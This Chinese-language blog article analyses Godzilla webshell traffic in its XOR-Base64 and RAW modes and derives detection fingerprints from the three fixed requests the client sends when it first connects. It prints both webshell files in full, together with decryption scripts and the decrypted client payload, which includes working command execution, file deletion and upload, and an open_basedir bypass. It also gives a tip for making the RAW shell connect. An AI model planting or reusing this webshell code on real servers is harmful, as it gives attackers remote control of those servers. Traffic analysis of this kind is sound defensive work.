返回介绍

1.2 请求体特征

发布于 2024-09-13 00:22:58 字数 11573 浏览 0 评论 0 收藏 0

1.2.1 PHP_XOR_BASE64

以默认 shell 的密码和密钥为例,生成的文件如下:

<?php
    session_start();
    @set_time_limit(0);
	  @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a'; // md5(key)[:16]
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
						$R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

其中比较核心的地方有两处,第一处是进行异或加密和解密的函数 E($D,$K) ,第二处是嵌套的两个 if 对哥斯拉客户端上传的代码做执行并得到结果。

根据 $F=O(E(O($_POST[$P]),$T)); 第 21 行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:

原始代码 -> Base64 编码 -> E 函数进行异或加密 -> 再 Base64 编码

进入第二个 if 语句,首先判断 $_SESSION[$V] 是否存在,客户端首次连接 shell 时会在 $_SESSION 中保存一段代码,叫 payload 。结合后面 的 run 函数,这个 payload 在后续 shell 连接过程中会被调用。整个 shell 的运行原理到这里基本就能明确了,可以用一篇文章中的流程图来总结:

在客户端上配置代理,利用 Burp 查看下 webshell 的交互流量。

在客户端首次连接时,会有连续三个请求,第一个请求如下:

根据上述分析的加密原理,可以写一个简单的解密脚本,将 pass 数据进行解密:

<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(O("要解密的数据"), $T));
?>

解密得到的数据为:

<?php
$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}

function bypass_open_basedir(){
  // ...
}

function formatParameter($pms){
    global $parameters;
    $pms=explode("&",$pms);
    foreach ($pms as $kv){
        $kv=explode("=",$kv);
        if (sizeof($kv)>=2){
            $parameters[$kv[0]]=base64Decode($kv[1]);
        }
    }
}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
   //...
}
function getFile(){
    // ...
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function execCommand(){
    $result = "";
    $command = get("cmdLine");
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $command = $command . " 2>&1\n";
    }
    if (is_callable('system') and ! in_array('system', $PadtJn)) {
        ob_start();
        system($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
        $handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
        $result = NULL;
        while (! feof($pipes[1])) {
            $result .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
        ob_start();
        passthru($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
        $result = shell_exec($command);
    } else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
        $result = array();
        exec($command, $result);
        $result = join(chr(10), $result) . chr(10);
    } else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
        $fp = popen($command, 'r');
        $result = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $result .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        return "none of proc_open/passthru/shell_exec/exec/exec is available";
    }
    return $result;
}
function execSql(){
   // ...
    }
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
     // ...
}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function includeCode(){
    @session_start();
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SESSION[$codeName]=$classCode;
    @session_write_close();
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
?>

传输的脚本很长,包含 run、bypass_open_basedir、formatParameter、evalFunc 等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。

可以发现该条数据包并没有回包,可以作为流量识别的其中一个特征。

第二条数据包及解密情况如下:

跟进第一步解密得到的 run 函数,首先经过 formatParameter 对参数进行处理

信息 作者还在此处拼接了一个 '&ILikeYou='.base64Encode('metoo')

将键和 base64 解密后的值,此处为: methodName=test 。存放在全局变量 parameters 中,然后再交给 evalFunc 去执行进一步的操作。

此外,我们对回包情况做分析,根据 webshell 的第 28 行和第 30 行, run 函数中的 return base64Encode(evalFunc());

echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);

可以知道,回包是由 $P$T 拼接后的 MD5 前 16 位和后 16 位组成。中间是由 base64encode + 异或 + base64_encode 组成。

解密时,首先去除前 16 位和后 16 位,利用之前的解密脚本,进行解密,得到

说明该请求是一条测试请求,证明 shell 连接成功。

第三个请求的作用是获取目标的环境信息,请求内容为:

利用相同方法解密得到:

解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw== ,即 methodName=getBasicsInfo 。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。

至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:

特征:发送一段固定代码(payload),http 响应为空

特征:发送一段固定代码(test),执行结果为固定内容

特征:发送一段固定代码(getBacisInfo)

1.2.2 PHP_RAW_BASE64

技巧

我在测试时发现使用默认生成的 raw 格式的 payload 一直连接失败

将生成的 webshell 第 30 行的 run 函数前加上 @ 即可成功连接。

<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';
$F=O(E(file_get_contents(I()),$T));

if (isset($_SESSION[$V])){
    $L=$_SESSION[$V];
    $A=explode('|',$L);
    class C{public function nvoke($p) {eval($p."");}}
    $R=new C();
		$R->nvoke($A[0]);
    echo E(@run($F),$T);
}else{
    $_SESSION[$V]=$F;
}

通过比对可以发现,RAW 格式的 shell 与之前的 shell 增加了 I 函数,接收客户端的参数,解密时也少了一步 base64_decode 。同样的,在返回结果时,也取消了 MD5 的字符串的分隔,下面做进一步分析。

进入 shell 后,还是相同的三步,设置 session,发送 test,获取基础信息。

本次的解密脚本:

<?php
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function O($D){
    return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; // md5(key)[:16]
echo O(E(file_get_contents("./res.txt"), $T));
?>

由于将 HTTP body 中的数据保存在 res.txt 文件中,并解密,可以得到第一步中的 PHP 脚本信息:

脚本内容基本无变化,具体可以参考上一节的内容。

此时,回包加密的逻辑为 base64encode + 异或的形式。

至此,Godzilla PHP 的两种 shell 加密模式分析完毕。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文